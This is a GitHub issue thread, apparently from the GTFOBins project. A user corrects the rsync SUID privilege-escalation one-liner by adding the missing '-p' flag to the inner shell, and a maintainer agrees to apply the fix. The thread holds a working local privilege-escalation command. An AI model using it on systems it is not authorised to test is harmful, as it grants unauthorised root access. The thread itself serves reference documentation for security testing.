Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The SUID authorization command of the rsync command is incorrect; Missing - p parameter #388

Open
Jpkie opened this issue May 9, 2023 · 5 comments

Comments

@Jpkie
Copy link

Jpkie commented May 9, 2023

Original command:
rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

In "sh 1>&2 0>&2", the - p parameter inheritance permission is missing after the command sh; Causing the failure of power raising;

Modified command:
rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null

image
image

@cyrus-and
Copy link
Member

Good catch! Feel free to file a PR if you want.

@Jpkie Jpkie closed this as completed May 15, 2023
@cyrus-and
Copy link
Member

@Jpkie why close?

@Jpkie
Copy link
Author

Jpkie commented May 18, 2023

@Jpkie why close?

I thought that the author has been revised and I don't know what do you mean by said PR because I'm not often use a lot, don't know much about some terms. I'm sorry. I need to create an issue again? I am using translation software to communicate.

@cyrus-and
Copy link
Member

Sorry for the confusion, I meant that you're correct and if you want you can create a pull request if you like, so that you can contribute yourself to this project. But don't worry I can do that for you. :)

@Jpkie
Copy link
Author

Jpkie commented May 23, 2023

Sorry for the confusion, I meant that you're correct and if you want you can create a pull request if you like, so that you can contribute yourself to this project. But don't worry I can do that for you. :)

Thank you. If you could do this!:); )

@Jpkie Jpkie reopened this May 23, 2023
Frissi0n added a commit to Frissi0n/GTFOBins.github.io that referenced this issue Dec 3, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants